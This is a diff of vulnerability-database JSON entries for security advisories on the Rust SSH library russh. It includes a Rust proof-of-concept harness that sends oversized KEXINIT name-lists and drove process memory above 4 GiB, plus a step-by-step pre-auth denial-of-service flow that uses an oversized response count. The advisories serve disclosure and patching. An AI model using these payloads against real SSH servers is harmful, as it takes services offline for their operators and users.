0.63.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-47hw-gvq5-r2gm/GHSA-47hw-gvq5-r2gm.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-47hw-gvq5-r2gm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-102823"},{"type":"WEB","url":"https://github.com/Eugeny/russh/commit/3430fd26ecafc0dc3705210f5f39a9119fa22774"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.63.1"}],"database_specific":{"cwe_ids":["CWE-20"],"github_reviewed":true,"github_reviewed_at":"2026-09-30T23:27:17Z","nvd_published_at":"2026-09-29T19:17:24Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-4r3c-5hpg-58qr.json b/data/crates.io/GHSA-4r3c-5hpg-58qr.json index c5d3869578..703fcc9812 100644 --- a/data/crates.io/GHSA-4r3c-5hpg-58qr.json +++ b/data/crates.io/GHSA-4r3c-5hpg-58qr.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-4r3c-5hpg-58qr","published":"2026-06-11T20:33:21Z","modified":"2026-06-11T20:56:30.223269Z","aliases":["CVE-2026-48110"],"summary":"Russh SSH message fields were decoded through allocation-first parsers before field-specific bounds","details":"# SSH message fields were decoded through allocation-first parsers before field-specific bounds\n\n### Summary\n\nSeveral `russh` client and server message handlers decoded attacker-controlled SSH strings, name-lists, and byte fields into owned allocations before applying field-specific bounds. A remote SSH peer could send oversized, high-fanout, or malformed length-prefixed fields and make the library allocate, attempt to allocate, or split data before rejecting input that should have been rejected earlier.\n\n\n### Affected Versions\n\nOldest verified exploitable stable release: `russh 0.34.0`.\n\n- Historical stronger case: `russh >= 0.34.0, < 0.58.0`. These releases have the allocation-first KEXINIT field parsing issue and still use `CryptoVec` for inbound packet/decompression buffers. A peer can combine negotiated RFC `zlib`, rekey, compressed KEXINIT expansion, historical `CryptoVec` decompression growth, and KEXINIT name-list fanout.\n- Current maintained-line case: `russh >= 0.58.0`, including `0.60.2`. These releases moved non-secret packet/decompression buffers off `CryptoVec`, but the allocation-first SSH field parser issue remains reachable as a `Vec`/`String`/name-list resource exhaustion issue.\n\n Prerelease coverage was not claimed for the zlib/`CryptoVec`/KEXINIT combo because the combined historical exploit shape was verified against stable `v0.34.0`-era code and reproduced the stress behavior on `v0.57.1`.\n\n### Details\n\nThe affected parser pattern appeared across the SSH transport and encrypted-message parser code:\n\n- KEX negotiation parsing\n- client encrypted-message parsing\n- server encrypted-message parsing\n- shared SSH parsing helpers\n\nExamples of allocation-first field parsing covered by the fix include:\n\n- KEXINIT name-lists\n- client `USERAUTH_FAILURE` method lists\n- client `USERAUTH_BANNER` text fields\n- client `USERAUTH_PK_OK` fields\n- client `EXT_INFO` extension fields\n- server `SERVICE_REQUEST` names\n- server `USERAUTH_REQUEST` header fields\n- server password/publickey/keyboard-interactive auth fields, excluding the already-submitted prompt-count issue\n- server and client channel/global request names\n- server pty, x11, env, exec, subsystem, signal, and forwarding request fields\n- channel-open-failure description and language fields\n\nBefore the fix, these handlers generally used `ssh_encoding::Decode` into `String`, `Bytes`, `Vec`, or `NameList` first, then validated semantics later. For length-prefixed SSH fields, that means the owned decoder can accept an attacker-controlled length prefix and allocate or attempt allocation before discovering that the packet is truncated or above a local field bound. The fix introduces borrowed bounded parsing helpers such as `take_str`, `take_bytes`, and `take_name_list`.\n\n### RFC / OpenSSH Comparison\n\nRFC 4251 section 5 defines SSH `string` and `name-list` encodings. RFC 4253 and RFC 4254 then use those encodings throughout KEX, auth, channel, and forwarding messages. The RFC encoding permits large length prefixes, so implementations need local bounds appropriate to their packet and parser model.\n\nRFC 4251 also says each name inside a `name-list` is non-empty, cannot contain a comma, and is made of US-ASCII names. RFC 4253 section 7.1 requires the algorithm name-lists in `SSH_MSG_KEXINIT` to contain at least one algorithm name, while language name-lists may be empty.\n\nOpenSSH portable commonly parses SSH fields with packet-buffer helpers and then immediately checks message completion:\n\n- `openssh-portable`: `kex.c`: `kex_input_kexinit()` / `kex_buf2prop()`\n- `openssh-portable`: `auth2.c`: `USERAUTH_REQUEST` header parsing\n- `openssh-portable`: `sshconnect2.c`: client auth reply parsing\n- `openssh-portable`: `serverloop.c`: global and channel-open parsing\n- `openssh-portable`: `session.c`: channel request parsing\n- `openssh-portable`: `packet.c`: `sshpkt_get_cstring()`, `sshpkt_get_string()`, `sshpkt_get_end()`\n\n`openssh-portable` was checked at `45b30e0a5`. OpenSSH generally gets its size safety from the already-bounded packet buffer and `sshbuf` helpers; it does not always avoid allocating a copied field. The `russh` patch is stricter in Rust-specific shape by using borrowed bounded helpers where practical, but the protocol alignment is the same: reject oversized or malformed name-lists/strings within a bounded packet parser.\n\n### PoC\n\nInline availability stress PoC: an unauthenticated client sends concurrent `SSH_MSG_KEXINIT` payloads with a large but packet-sized first name-list containing many small algorithm names. This reaches the server-side initial key-exchange parser before user authentication and drives allocation-heavy owned decoding and name-list splitting. In a local direct-parser stress harness, 512 concurrent connection-equivalent parser workers parsing this payload eight times each raised process memory from about 4 MiB RSS to about 4.45 GiB RSS:\n\n```text\nthreads=512\niterations_per_thread=8\ntotal_iterations=4096\npayload_bytes=262103\nerrors=0\nelapsed_ms=5880\nVmRSS: 4056 KiB -> 4661032 KiB\nVmHWM: 4056 KiB -> 4674200 KiB\n```\n\nThat concurrency level is material: the multi-GiB result required 512 simultaneous connection-equivalent parser contexts and about 1.02 GiB of total input across the run. The harness exercises the vulnerable pre-auth KEXINIT parser directly rather than opening real sockets, but the parsed bytes are ordinary SSH KEXINIT payload bytes reachable from a remote unauthenticated SSH peer.\n\nHistorical pre-`0.58.0` amplification note: before `0.58.0`, inbound packet and decompression buffers still used `CryptoVec`. To get the stronger historical growth, the peer must negotiate RFC `zlib` compression, complete the first key exchange, and then send a compressed rekey `SSH_MSG_KEXINIT` carrying the same high-fanout name-list shape. In a `v0.57.1` harness, a 652-byte compressed rekey KEXINIT inflated to a 600,103-byte KEXINIT payload, grew the historical `CryptoVec` decompression output, and then entered the same allocation-heavy KEXINIT name-list parser:\n\n```text\nthreads=512\niterations_per_thread=2\ntotal_iterations=1024\ndecompressed_payload_bytes=600103\ncompressed_payload_bytes=652\nerrors=0\nelapsed_ms=5606\nVmRSS: 5268 KiB -> 1464624 KiB\nVmHWM: 5268 KiB -> 7014560 KiB\n```\n\nThe constrained-memory result is useful because it shows where this becomes a service-killing failure rather than only elevated RSS. With the same historical code path, a roughly 1 KiB compressed rekey KEXINIT can force `CryptoVec` decompression growth into the parser fanout. Under an address-space limit, the process aborted on allocator failure while trying to satisfy one of the intermediate growth allocations:\n\n```text\nmemory allocation of 262144 bytes failed\n```\n\nThat historical result combines the field-parser issue in this report with the pre-`0.58.0` `CryptoVec` allocation/growth behavior. The important maintainer takeaway is the amplification shape: very small compressed rekey packets can create much larger historical `CryptoVec` buffers and then immediately feed the unbounded KEXINIT name-list parser. It is included here to explain historical severity and exploit shape; the separate CryptoVec advisory covers the underlying `CryptoVec` allocation/growth bug itself.\n\n```rust\n#[test]\nfn stress_kexinit_many_names_many_connections() {\n use std::borrow::Cow;\n use std::sync::Arc;\n\n use byteorder::{BigEndian, ByteOrder};\n use ssh_key::Algorithm;\n\n use crate::negotiation::{Preferred, Select, Server};\n use crate::{cipher, compression, kex, mac, msg};\n\n fn no_crypto_preferred() -> Preferred {\n Preferred {\n kex: Cow::Owned(vec![kex::NONE]),\n key: Cow::Owned(vec![Algorithm::Ed25519]),\n cipher: Cow::Owned(vec![cipher::NONE]),\n mac: Cow::Owned(vec![mac::NONE]),\n compression: Cow::Owned(vec![compression::NONE]),\n }\n }\n\n fn encode_string(buf: &mut Vec, value: &[u8]) {\n let mut len = [0; 4];\n BigEndian::write_u32(&mut len, value.len() as u32);\n buf.extend_from_slice(&len);\n buf.extend_from_slice(value);\n }\n\n fn kexinit_with_kex_list(kex_list: &str) -> Vec {\n let mut payload = Vec::new();\n payload.push(msg::KEXINIT);\n payload.extend_from_slice(&[0; 16]);\n encode_string(&mut payload, kex_list.as_bytes());\n encode_string(&mut payload, b\"ssh-ed25519\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"\");\n encode_string(&mut payload, b\"\");\n payload.push(0);\n payload.extend_from_slice(&[0; 4]);\n payload\n }\n\n fn memory_status() -> (Option, Option) {\n let Ok(status) = std::fs::read_to_string(\"/proc/self/status\") else {\n return (None, None);\n };\n let mut rss = None;\n let mut hwm = None;\n for line in status.lines() {\n if let Some(value) = line.strip_prefix(\"VmRSS:\") {\n rss = value\n .split_whitespace()\n .next()\n .and_then(|value| value.parse().ok());\n } else if let Some(value) = line.strip_prefix(\"VmHWM:\") {\n hwm = value\n .split_whitespace()\n .next()\n .and_then(|value| value.parse().ok());\n }\n }\n (rss, hwm)\n }\n\n const THREADS: usize = 512;\n const ITERATIONS_PER_THREAD: usize = 8;\n\n let payload = Arc::new(kexinit_with_kex_list(\n &(\"none,\".to_owned() + &\"a,\".repeat(131_000) + \"a\"),\n ));\n let preferred = Arc::new(no_crypto_preferred());\n let barrier = Arc::new(std::sync::Barrier::new(THREADS + 1));\n let before = memory_status();\n let start = std::time::Instant::now();\n let mut threads = Vec::new();\n\n for _ in 0..THREADS {\n let payload = payload.clone();\n let preferred = preferred.clone();\n let barrier = barrier.clone();\n threads.push(std::thread::spawn(move || {\n barrier.wait();\n let mut errors = 0usize;\n for _ in 0..ITERATIONS_PER_THREAD {\n if Server::read_kex(&payload, &preferred, None, &kex::KexCause::Initial).is_err() {\n errors += 1;\n }\n }\n errors\n }));\n }\n\n barrier.wait();\n let errors: usize = threads\n .into_iter()\n .map(|thread| thread.join().expect(\"thread\"))\n .sum();\n let after = memory_status();\n\n eprintln!(\n \"threads={THREADS} per_thread={ITERATIONS_PER_THREAD} total_iterations={} payload_bytes={} errors={errors} elapsed_ms={} memory_before={before:?} memory_after={after:?}\",\n THREADS * ITERATIONS_PER_THREAD,\n payload.len(),\n start.elapsed().as_millis()\n );\n}\n```\n\nOn vulnerable code, this stress harness completed without parser errors and produced the multi-GiB RSS result above. With the fix applied, the same payload is rejected by `take_name_list()` against the local name-list bound before allocation-heavy parsing or name-list splitting.\n\nI also checked a smaller regression form where the first KEXINIT name-list length prefix is `1_048_575` but the body is absent. On vulnerable code, that test is red with `Err(SshEncoding(Length))` instead of `Err(Error::PacketSize(_))`: the owned decoder has already accepted the attacker-controlled name-list length prefix and only fails after trying to read the absent body. With the fix applied, `take_name_list()` reads the length prefix, rejects it against the local maximum, and returns `PacketSize` before allocation-heavy parsing or name-list splitting.\n\nThe extreme `u32::MAX` length prefix was checked as a local, uncommitted experiment. In the current dependency set, `ssh_encoding` rejects that value as `Overflow` because its `usize` length decoder has an internal `1_048_575` byte cap. The smaller regression form therefore uses `1_048_575`, the maximum accepted prefix value, rather than keeping a 4 GiB allocation attempt in the test suite.\n\nThis demonstrates the highest-CVSS reachability for this class: a remote unauthenticated client reaches a server-side parser with a large SSH `name-list` during initial key exchange. That supports `AV:N/AC:L/PR:N/UI:N`.\n\n The `SERVICE_REQUEST` variant was checked after key exchange but before user authentication. It has the same allocation-first shape with a tiny packet containing only `SSH_MSG_SERVICE_REQUEST` plus a `1_048_575` length prefix, and the vulnerable code returns `Err(SshEncoding(Length))` rather than `PacketSize`. This is supporting evidence for the parser class, but the strongest availability evidence is the KEXINIT name-list fanout PoC above: 512 concurrent pre-auth parser contexts with 262,103-byte KEXINIT payloads drove process RSS from about 4 MiB to about 4.45 GiB.\n\n### Impact\n\nSuggested CVSS v3.1:\n\n- `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n- Score: `7.5`\n\nReasoning:\n\n- `AV:N`: reachable from a remote SSH peer\n- `AC:L`: requires only attacker-controlled SSH fields with large or malformed length-prefixed values\n- `PR:N`: some affected server-side paths are pre-authentication\n- `UI:N`: no user interaction is required\n- `C:N`, `I:N`: no confidentiality or integrity impact demonstrated\n- `A:H`: 512 concurrent pre-auth KEXINIT parser contexts with large name-lists drove process RSS above 4 GiB in the direct parser harness, demonstrating a credible service-availability impact under high concurrency\n\nHistorical note for releases before `0.58.0`: the same high-fanout KEXINIT shape can be combined with negotiated RFC `zlib` and rekey to reduce wire cost dramatically and drive the old `CryptoVec` decompression output before the field parser runs. That supports keeping availability at `A:H` for the historical range as well, with an even stronger resource-amplification story. The demonstrated impact remains availability; no confidentiality, integrity, or RCE impact was demonstrated.\n\n### Fix / Patch Direction\n\nUse bounded borrowed parsing helpers for attacker-controlled SSH strings, byte fields, and name-lists before constructing owned values or invoking handlers.\n\nThe fix uses:\n\n- `take_bytes`\n- `take_str`\n- `take_name_list`","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.34.0"},{"fixed":"0.61.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-4r3c-5hpg-58qr/GHSA-4r3c-5hpg-58qr.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-4r3c-5hpg-58qr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48110"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.61.0"}],"database_specific":{"cwe_ids":["CWE-20"],"github_reviewed":true,"github_reviewed_at":"2026-06-11T20:33:21Z","nvd_published_at":"2026-06-10T22:17:01Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-4r3c-5hpg-58qr","published":"2026-06-11T20:33:21Z","modified":"2026-11-12T08:11:03.596034180Z","aliases":["CVE-2026-48110","RUSTSEC-2026-0494"],"summary":"Russh SSH message fields were decoded through allocation-first parsers before field-specific bounds","details":"# SSH message fields were decoded through allocation-first parsers before field-specific bounds\n\n### Summary\n\nSeveral `russh` client and server message handlers decoded attacker-controlled SSH strings, name-lists, and byte fields into owned allocations before applying field-specific bounds. A remote SSH peer could send oversized, high-fanout, or malformed length-prefixed fields and make the library allocate, attempt to allocate, or split data before rejecting input that should have been rejected earlier.\n\n\n### Affected Versions\n\nOldest verified exploitable stable release: `russh 0.34.0`.\n\n- Historical stronger case: `russh >= 0.34.0, < 0.58.0`. These releases have the allocation-first KEXINIT field parsing issue and still use `CryptoVec` for inbound packet/decompression buffers. A peer can combine negotiated RFC `zlib`, rekey, compressed KEXINIT expansion, historical `CryptoVec` decompression growth, and KEXINIT name-list fanout.\n- Current maintained-line case: `russh >= 0.58.0`, including `0.60.2`. These releases moved non-secret packet/decompression buffers off `CryptoVec`, but the allocation-first SSH field parser issue remains reachable as a `Vec`/`String`/name-list resource exhaustion issue.\n\n Prerelease coverage was not claimed for the zlib/`CryptoVec`/KEXINIT combo because the combined historical exploit shape was verified against stable `v0.34.0`-era code and reproduced the stress behavior on `v0.57.1`.\n\n### Details\n\nThe affected parser pattern appeared across the SSH transport and encrypted-message parser code:\n\n- KEX negotiation parsing\n- client encrypted-message parsing\n- server encrypted-message parsing\n- shared SSH parsing helpers\n\nExamples of allocation-first field parsing covered by the fix include:\n\n- KEXINIT name-lists\n- client `USERAUTH_FAILURE` method lists\n- client `USERAUTH_BANNER` text fields\n- client `USERAUTH_PK_OK` fields\n- client `EXT_INFO` extension fields\n- server `SERVICE_REQUEST` names\n- server `USERAUTH_REQUEST` header fields\n- server password/publickey/keyboard-interactive auth fields, excluding the already-submitted prompt-count issue\n- server and client channel/global request names\n- server pty, x11, env, exec, subsystem, signal, and forwarding request fields\n- channel-open-failure description and language fields\n\nBefore the fix, these handlers generally used `ssh_encoding::Decode` into `String`, `Bytes`, `Vec`, or `NameList` first, then validated semantics later. For length-prefixed SSH fields, that means the owned decoder can accept an attacker-controlled length prefix and allocate or attempt allocation before discovering that the packet is truncated or above a local field bound. The fix introduces borrowed bounded parsing helpers such as `take_str`, `take_bytes`, and `take_name_list`.\n\n### RFC / OpenSSH Comparison\n\nRFC 4251 section 5 defines SSH `string` and `name-list` encodings. RFC 4253 and RFC 4254 then use those encodings throughout KEX, auth, channel, and forwarding messages. The RFC encoding permits large length prefixes, so implementations need local bounds appropriate to their packet and parser model.\n\nRFC 4251 also says each name inside a `name-list` is non-empty, cannot contain a comma, and is made of US-ASCII names. RFC 4253 section 7.1 requires the algorithm name-lists in `SSH_MSG_KEXINIT` to contain at least one algorithm name, while language name-lists may be empty.\n\nOpenSSH portable commonly parses SSH fields with packet-buffer helpers and then immediately checks message completion:\n\n- `openssh-portable`: `kex.c`: `kex_input_kexinit()` / `kex_buf2prop()`\n- `openssh-portable`: `auth2.c`: `USERAUTH_REQUEST` header parsing\n- `openssh-portable`: `sshconnect2.c`: client auth reply parsing\n- `openssh-portable`: `serverloop.c`: global and channel-open parsing\n- `openssh-portable`: `session.c`: channel request parsing\n- `openssh-portable`: `packet.c`: `sshpkt_get_cstring()`, `sshpkt_get_string()`, `sshpkt_get_end()`\n\n`openssh-portable` was checked at `45b30e0a5`. OpenSSH generally gets its size safety from the already-bounded packet buffer and `sshbuf` helpers; it does not always avoid allocating a copied field. The `russh` patch is stricter in Rust-specific shape by using borrowed bounded helpers where practical, but the protocol alignment is the same: reject oversized or malformed name-lists/strings within a bounded packet parser.\n\n### PoC\n\nInline availability stress PoC: an unauthenticated client sends concurrent `SSH_MSG_KEXINIT` payloads with a large but packet-sized first name-list containing many small algorithm names. This reaches the server-side initial key-exchange parser before user authentication and drives allocation-heavy owned decoding and name-list splitting. In a local direct-parser stress harness, 512 concurrent connection-equivalent parser workers parsing this payload eight times each raised process memory from about 4 MiB RSS to about 4.45 GiB RSS:\n\n```text\nthreads=512\niterations_per_thread=8\ntotal_iterations=4096\npayload_bytes=262103\nerrors=0\nelapsed_ms=5880\nVmRSS: 4056 KiB -> 4661032 KiB\nVmHWM: 4056 KiB -> 4674200 KiB\n```\n\nThat concurrency level is material: the multi-GiB result required 512 simultaneous connection-equivalent parser contexts and about 1.02 GiB of total input across the run. The harness exercises the vulnerable pre-auth KEXINIT parser directly rather than opening real sockets, but the parsed bytes are ordinary SSH KEXINIT payload bytes reachable from a remote unauthenticated SSH peer.\n\nHistorical pre-`0.58.0` amplification note: before `0.58.0`, inbound packet and decompression buffers still used `CryptoVec`. To get the stronger historical growth, the peer must negotiate RFC `zlib` compression, complete the first key exchange, and then send a compressed rekey `SSH_MSG_KEXINIT` carrying the same high-fanout name-list shape. In a `v0.57.1` harness, a 652-byte compressed rekey KEXINIT inflated to a 600,103-byte KEXINIT payload, grew the historical `CryptoVec` decompression output, and then entered the same allocation-heavy KEXINIT name-list parser:\n\n```text\nthreads=512\niterations_per_thread=2\ntotal_iterations=1024\ndecompressed_payload_bytes=600103\ncompressed_payload_bytes=652\nerrors=0\nelapsed_ms=5606\nVmRSS: 5268 KiB -> 1464624 KiB\nVmHWM: 5268 KiB -> 7014560 KiB\n```\n\nThe constrained-memory result is useful because it shows where this becomes a service-killing failure rather than only elevated RSS. With the same historical code path, a roughly 1 KiB compressed rekey KEXINIT can force `CryptoVec` decompression growth into the parser fanout. Under an address-space limit, the process aborted on allocator failure while trying to satisfy one of the intermediate growth allocations:\n\n```text\nmemory allocation of 262144 bytes failed\n```\n\nThat historical result combines the field-parser issue in this report with the pre-`0.58.0` `CryptoVec` allocation/growth behavior. The important maintainer takeaway is the amplification shape: very small compressed rekey packets can create much larger historical `CryptoVec` buffers and then immediately feed the unbounded KEXINIT name-list parser. It is included here to explain historical severity and exploit shape; the separate CryptoVec advisory covers the underlying `CryptoVec` allocation/growth bug itself.\n\n```rust\n#[test]\nfn stress_kexinit_many_names_many_connections() {\n use std::borrow::Cow;\n use std::sync::Arc;\n\n use byteorder::{BigEndian, ByteOrder};\n use ssh_key::Algorithm;\n\n use crate::negotiation::{Preferred, Select, Server};\n use crate::{cipher, compression, kex, mac, msg};\n\n fn no_crypto_preferred() -> Preferred {\n Preferred {\n kex: Cow::Owned(vec![kex::NONE]),\n key: Cow::Owned(vec![Algorithm::Ed25519]),\n cipher: Cow::Owned(vec![cipher::NONE]),\n mac: Cow::Owned(vec![mac::NONE]),\n compression: Cow::Owned(vec![compression::NONE]),\n }\n }\n\n fn encode_string(buf: &mut Vec, value: &[u8]) {\n let mut len = [0; 4];\n BigEndian::write_u32(&mut len, value.len() as u32);\n buf.extend_from_slice(&len);\n buf.extend_from_slice(value);\n }\n\n fn kexinit_with_kex_list(kex_list: &str) -> Vec {\n let mut payload = Vec::new();\n payload.push(msg::KEXINIT);\n payload.extend_from_slice(&[0; 16]);\n encode_string(&mut payload, kex_list.as_bytes());\n encode_string(&mut payload, b\"ssh-ed25519\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"none\");\n encode_string(&mut payload, b\"\");\n encode_string(&mut payload, b\"\");\n payload.push(0);\n payload.extend_from_slice(&[0; 4]);\n payload\n }\n\n fn memory_status() -> (Option, Option) {\n let Ok(status) = std::fs::read_to_string(\"/proc/self/status\") else {\n return (None, None);\n };\n let mut rss = None;\n let mut hwm = None;\n for line in status.lines() {\n if let Some(value) = line.strip_prefix(\"VmRSS:\") {\n rss = value\n .split_whitespace()\n .next()\n .and_then(|value| value.parse().ok());\n } else if let Some(value) = line.strip_prefix(\"VmHWM:\") {\n hwm = value\n .split_whitespace()\n .next()\n .and_then(|value| value.parse().ok());\n }\n }\n (rss, hwm)\n }\n\n const THREADS: usize = 512;\n const ITERATIONS_PER_THREAD: usize = 8;\n\n let payload = Arc::new(kexinit_with_kex_list(\n &(\"none,\".to_owned() + &\"a,\".repeat(131_000) + \"a\"),\n ));\n let preferred = Arc::new(no_crypto_preferred());\n let barrier = Arc::new(std::sync::Barrier::new(THREADS + 1));\n let before = memory_status();\n let start = std::time::Instant::now();\n let mut threads = Vec::new();\n\n for _ in 0..THREADS {\n let payload = payload.clone();\n let preferred = preferred.clone();\n let barrier = barrier.clone();\n threads.push(std::thread::spawn(move || {\n barrier.wait();\n let mut errors = 0usize;\n for _ in 0..ITERATIONS_PER_THREAD {\n if Server::read_kex(&payload, &preferred, None, &kex::KexCause::Initial).is_err() {\n errors += 1;\n }\n }\n errors\n }));\n }\n\n barrier.wait();\n let errors: usize = threads\n .into_iter()\n .map(|thread| thread.join().expect(\"thread\"))\n .sum();\n let after = memory_status();\n\n eprintln!(\n \"threads={THREADS} per_thread={ITERATIONS_PER_THREAD} total_iterations={} payload_bytes={} errors={errors} elapsed_ms={} memory_before={before:?} memory_after={after:?}\",\n THREADS * ITERATIONS_PER_THREAD,\n payload.len(),\n start.elapsed().as_millis()\n );\n}\n```\n\nOn vulnerable code, this stress harness completed without parser errors and produced the multi-GiB RSS result above. With the fix applied, the same payload is rejected by `take_name_list()` against the local name-list bound before allocation-heavy parsing or name-list splitting.\n\nI also checked a smaller regression form where the first KEXINIT name-list length prefix is `1_048_575` but the body is absent. On vulnerable code, that test is red with `Err(SshEncoding(Length))` instead of `Err(Error::PacketSize(_))`: the owned decoder has already accepted the attacker-controlled name-list length prefix and only fails after trying to read the absent body. With the fix applied, `take_name_list()` reads the length prefix, rejects it against the local maximum, and returns `PacketSize` before allocation-heavy parsing or name-list splitting.\n\nThe extreme `u32::MAX` length prefix was checked as a local, uncommitted experiment. In the current dependency set, `ssh_encoding` rejects that value as `Overflow` because its `usize` length decoder has an internal `1_048_575` byte cap. The smaller regression form therefore uses `1_048_575`, the maximum accepted prefix value, rather than keeping a 4 GiB allocation attempt in the test suite.\n\nThis demonstrates the highest-CVSS reachability for this class: a remote unauthenticated client reaches a server-side parser with a large SSH `name-list` during initial key exchange. That supports `AV:N/AC:L/PR:N/UI:N`.\n\n The `SERVICE_REQUEST` variant was checked after key exchange but before user authentication. It has the same allocation-first shape with a tiny packet containing only `SSH_MSG_SERVICE_REQUEST` plus a `1_048_575` length prefix, and the vulnerable code returns `Err(SshEncoding(Length))` rather than `PacketSize`. This is supporting evidence for the parser class, but the strongest availability evidence is the KEXINIT name-list fanout PoC above: 512 concurrent pre-auth parser contexts with 262,103-byte KEXINIT payloads drove process RSS from about 4 MiB to about 4.45 GiB.\n\n### Impact\n\nSuggested CVSS v3.1:\n\n- `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`\n- Score: `7.5`\n\nReasoning:\n\n- `AV:N`: reachable from a remote SSH peer\n- `AC:L`: requires only attacker-controlled SSH fields with large or malformed length-prefixed values\n- `PR:N`: some affected server-side paths are pre-authentication\n- `UI:N`: no user interaction is required\n- `C:N`, `I:N`: no confidentiality or integrity impact demonstrated\n- `A:H`: 512 concurrent pre-auth KEXINIT parser contexts with large name-lists drove process RSS above 4 GiB in the direct parser harness, demonstrating a credible service-availability impact under high concurrency\n\nHistorical note for releases before `0.58.0`: the same high-fanout KEXINIT shape can be combined with negotiated RFC `zlib` and rekey to reduce wire cost dramatically and drive the old `CryptoVec` decompression output before the field parser runs. That supports keeping availability at `A:H` for the historical range as well, with an even stronger resource-amplification story. The demonstrated impact remains availability; no confidentiality, integrity, or RCE impact was demonstrated.\n\n### Fix / Patch Direction\n\nUse bounded borrowed parsing helpers for attacker-controlled SSH strings, byte fields, and name-lists before constructing owned values or invoking handlers.\n\nThe fix uses:\n\n- `take_bytes`\n- `take_str`\n- `take_name_list`","affected":[{"package":{"name":"russh","ecosystem":"crates.io","purl":"pkg:cargo/russh"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.34.0"},{"fixed":"0.61.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-4r3c-5hpg-58qr/GHSA-4r3c-5hpg-58qr.json"}}],"references":[{"type":"WEB","url":"https://github.com/Eugeny/russh/security/advisories/GHSA-4r3c-5hpg-58qr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48110"},{"type":"PACKAGE","url":"https://github.com/Eugeny/russh"},{"type":"WEB","url":"https://github.com/Eugeny/russh/releases/tag/v0.61.0"}],"database_specific":{"cwe_ids":["CWE-20"],"github_reviewed":true,"github_reviewed_at":"2026-06-11T20:33:21Z","nvd_published_at":"2026-06-10T22:17:01Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-f5v4-2wr6-hqmg.json b/data/crates.io/GHSA-f5v4-2wr6-hqmg.json index be1dae1dc2..b8cd2bbc2e 100644 --- a/data/crates.io/GHSA-f5v4-2wr6-hqmg.json +++ b/data/crates.io/GHSA-f5v4-2wr6-hqmg.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-f5v4-2wr6-hqmg","published":"2026-04-24T15:39:37Z","modified":"2026-09-10T03:51:01.594715460Z","aliases":["CVE-2026-42189"],"summary":"russh has pre-auth DoS via unbounded allocation in its keyboard-interactive auth handler","details":"## Summary\n\nA pre-authentication denial-of-service vulnerability exists in the server's keyboard-interactive authentication handler. A malicious client can crash any russh-based server that implements keyboard-interactive auth (e.g., for 2FA/TOTP) with a single malformed packet, requiring no credentials.\n\n## Vulnerability Details\n\nIn `russh/src/server/encrypted.rs`, the function `read_userauth_info_response` decodes a `u32` count from the client's `SSH_MSG_USERAUTH_INFO_RESPONSE` and passes it directly to `Vec::with_capacity()`:\n\n```rust\nlet n = map_err!(u32::decode(r))?;\n\n// Bound both allocation and iteration by remaining packet data to\n// prevent a malicious client from causing a multi-GB allocation or\n// billions of loop iterations with a crafted count.\n// Each response needs at least 4 bytes (length prefix).\nlet max_responses = r.remaining_len().saturating_add(3) / 4;\nlet n = (n as usize).min(max_responses);\nlet mut responses = Vec::with_capacity(n);\nfor _ in 0..n {\n responses.push(Bytes::decode(r).ok())\n}\n```\n\nAn attacker can send `n = 0x10000000` (268M) or larger in a minimal packet (~50 bytes after encryption). The server attempts to allocate `n * ~24 bytes` (size of `Option`) = ~6.4GB, causing an OOM crash.\n\n## Attack Flow\n\n1. Attacker connects via TCP, completes key exchange (no credentials needed -- this is the anonymous DH handshake, not authentication)\n2. Sends `USERAUTH_REQUEST` with method `keyboard-interactive`\n3. Server handler returns `Auth::Partial` with prompts (standard for 2FA/TOTP)\n4. Attacker sends `USERAUTH_INFO_RESPONSE` with `n = 0x10000000` and no response data\n5. Server calls `Vec::with_capacity(268_435_456)`, OOM killed\n\nNo authentication is required. The allocation occurs before the handler validates any credentials. The attack is repeatable faster than the server can restart.\n\n## Affected Configurations\n\nAny russh-based server where the `Handler::auth_keyboard_interactive` implementation returns `Auth::Partial` (i.e., sends prompts to the client). The default handler returns `Auth::reject()` and is not affected.\n\nSource code review suggests that downstream projects using keyboard-interactive for multi-step auth (e.g., TOTP/2FA) follow the affected pattern, since returning `Auth::Partial` before credential verification is the intended API usage for prompting.\n\n## Confirmed End-to-End PoC\n\nThere is a 